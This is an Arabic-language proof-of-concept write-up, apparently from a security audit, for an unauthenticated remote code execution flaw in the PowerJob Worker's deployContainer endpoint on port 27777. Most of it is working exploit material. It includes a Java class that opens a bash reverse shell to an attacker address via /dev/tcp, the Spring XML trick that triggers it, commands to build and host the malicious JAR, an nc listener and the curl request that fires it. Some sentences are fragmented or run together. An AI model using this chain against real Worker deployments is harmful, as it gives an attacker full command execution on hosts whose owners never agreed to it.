
إثبات مفهوم لاستغلال CVE-2026-75430، يحقق تنفيذًا عن بُعد للكود دون مصادقة على PowerJob Worker عبر تحميل ملفات JAR عشوائية من خلال نقطة النهاية deployContainer.
/worker/deployContainer (تحميل JAR عشوائي)يعرّض PowerJob Worker معالج deployContainer على منفذ النقل HTTP رقم 27777 بدون أي مصادقة على الإطلاق. يرسل المهاجم عنوان URL عشوائيًا؛ يقوم Worker بتنزيل ملف JAR هذا وتحميله عبر URLClassLoader + Spring ClassPathXmlApplicationContext، مما ينفذ تعليمات برمجية عشوائية أثناء init-method الخاص بـ Spring ← RCE على Worker. ينشر ملف docker-compose الافتراضي هذا المنفذ إلى المضيف.
الشرط المسبق (بيان صريح): يجب أن يكون Worker قيد التشغيل (المنفذ 27777 يستمع). في التكوين الافتراضي، يتحقق Worker عند بدء التشغيل من أن تطبيقه مسجّل على الخادم (/server/assert)؛ (تم التحقق: عملية Java تنتهي برمز خروج 1). لذلك، حالة "docker-compose up بدون إعداد وحدة التحكم" الجديدة تمامًا غير قابلة للاستغلال مباشرة. ومع ذلك، (وإلا فلن يجدول النظام أي مهام)، لذا ، وبعد ذلك يكون الاستغلال بدون أي بيانات اعتماد. على النقيض من ذلك، فإن النتيجة الشقيقة PJ-08 (خادم ) ليس لها مثل هذا الشرط المسبق — يرتبط الخادم بالمنفذ 10010 عند بدء التشغيل دون قيد أو شرط.
/friend/processpowerjob-worker، المنشور عبر صورة powerjob-worker-samples الرسمية)docker-compose.yml، بروتوكول HTTP، المنفذ 27777 (PowerJobWorkerConfig.java:34)| العنصر | القيمة |
|---|---|
| نقطة الدخول | POST http://<worker>:27777/worker/deployContainer |
| المعالج | powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker")، بدون مصادقة) |
| التنزيل | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| التحميل | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
نص الطلب ServerDeployContainerRequest (الحقول containerId/containerName/version/downloadURL).
WorkerActor تمامًا في downloadURL.OmsContainerFactory بتنزيل ملف JAR من عنوان URL عشوائي ويستدعي فورًا OmsJarContainer.init(): تحميل URLClassLoader + refresh() لسياق Spring ← تنفيذ تعليمات برمجية خبيثة أثناء تهيئة الفئة/Bean.الشرط المسبق: Worker قيد التشغيل والمنفذ 27777 يستمع (يتحقق ذلك في أي نشر إنتاجي/تجريبي؛ إذا اتبع المشغّل التدفق الرسمي وأنشأ التطبيق النموذجي، يكون Worker متصلاً بالإنترنت). لإعادة الإنتاج، يمكن بدء Worker باستخدام --powerjob.worker.allow-lazy-connect-server=true لتخطي فحص تسجيل التطبيق (غير موصى به في الإنتاج؛ لاحظ أن هذا المفتاح يؤثر فقط على ما إذا كان Worker متصلاً بالإنترنت — ولا يغير غياب المصادقة على المنفذ المفتوح).
OmsJarContainer.init()):
oms-worker-container.properties مع PACKAGE_NAME=com.evilcom/evil/Exploit.class — فئة تعرض init-method خاص بـ Spring (مثل run()) ينفذ أمرًاoms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>POST /worker/deployContainer إلى منفذ Worker 27777 مع النص {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"}.OmsJarContainer.init(): يقوم OhMyClassLoader.load() بتحميل الفئة (لا يشغل مُهيّئات static)، ثم يقوم ClassPathXmlApplicationContext.refresh() بإنشاء مثيل للـ bean واستدعاء init-method ← تنفيذ أوامر عشوائية (بصلاحيات وقت تشغيل Worker).AbstractScriptProcessor.java:118-123 أيضًا التنزيل من عنوان URL عشوائي ← SSRF على جانب Worker.لا يوجد صدى للمخرجات: يعيد معالج
deployContainerقيمةvoid، لذا لا يحمل استجابة HTTP أي مخرجات أوامر (تم التحقق: نص فارغ). للحصول على تنفيذ أوامر تفاعلي، التقنية الأساسية هي الصدفة العكسية (انظر إعادة الإنتاج أدناه)؛ متغير ملف العلامة هو فقط تحقق محلي غير تفاعلي.
البيئة: JDK 21، powerjob-worker-samples-5.1.2.jar مبني من المصدر، Worker يستمع على 192.168.49.128:27777 (تم البدء باستخدام --powerjob.worker.allow-lazy-connect-server=true لتخطي تسجيل التطبيق).
الأساسي — الصدفة العكسية (تنفيذ أوامر تفاعلي):
يقوم Exploit.run() في ملف JAR الخبيث (Spring init-method) بتشغيل صدفة عكسية. نظرًا لعدم وجود صدى للمخرجات، فهذه هي الطريقة الفعالة للحصول على تنفيذ أوامر تفاعلي على مضيف Worker.
# 1) يستمع المهاجم أولاً:
nc -lvnp 7878
# 2) بناء JAR الخبيث — يقوم Exploit.run() بتشغيل صدفة عكسية bash
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # استضافة evil.jar
# 3) التشغيل (بدون بيانات اعتماد):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'

بدلاً من ذلك، استخدم البرنامج النصي للتحقق: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
النقطة الأساسية في PoC: يستدعي
OhMyClassLoader.load()فقطloadClass()، الذي لا يشغل مُهيّئات static؛ نقطة التنفيذ الفعلية هي init-method الخاص بـ Spring الذي يستدعيهClassPathXmlApplicationContext.refresh(). لذلك يجب أن يحمل ملف JAR الخبيث ملف Spring XML ويعلن عنinit-method. يجب تشغيل الصدفة العكسية عبر/bin/bash -cلأن/bin/sh(dash) لا يحلل/dev/tcp.
deployContainer فقط بواسطة خادم موثوق والتحقق من المصدر.downloadURL على العناوين الداخلية الموثوقة؛ التحقق من تجزئة/توقيع JAR قبل التحميل.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 حرجةPowerJob-5.1.2/audit_report/SECOND_AUDIT_REPORT.md (PJ-09)192.168.49.128:27777، بدون بيانات اعتماد ← RCE على Worker)؛ انظر ## 6. إعادة الإنتاجPowerJob-5.1.2/audit_report/poc/powerjob_worker_deploycontainer_rce.py (بناء JAR تلقائي + استضافة + تشغيل، --reverse-shell، -p/--proxy)SECURITY.md الخاصة بـ PowerJob (Tidelift / [email protected] / GitHub Security Advisory)